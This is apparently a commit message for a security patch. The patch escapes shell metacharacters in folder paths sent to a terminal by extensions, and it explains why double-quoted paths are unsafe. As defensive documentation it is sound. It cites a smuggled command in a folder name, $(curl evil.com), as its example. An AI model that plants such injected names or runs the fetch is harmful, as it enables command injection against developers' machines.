Folder names containing shell metacharacters (e.g., $(curl evil.com))
can trigger command injection when extensions send commands like
"cd <path> && python file.py" via terminal.sendText(). This patch
sanitizes path segments in cd commands by escaping shell-dangerous
characters before the text is written to the terminal process.
Remove double-quote passthrough in quoted path detection — only
single-quoted paths are shell-safe. Double-quoted paths still expand
$(), backticks, and ${}, so they must be sanitized.
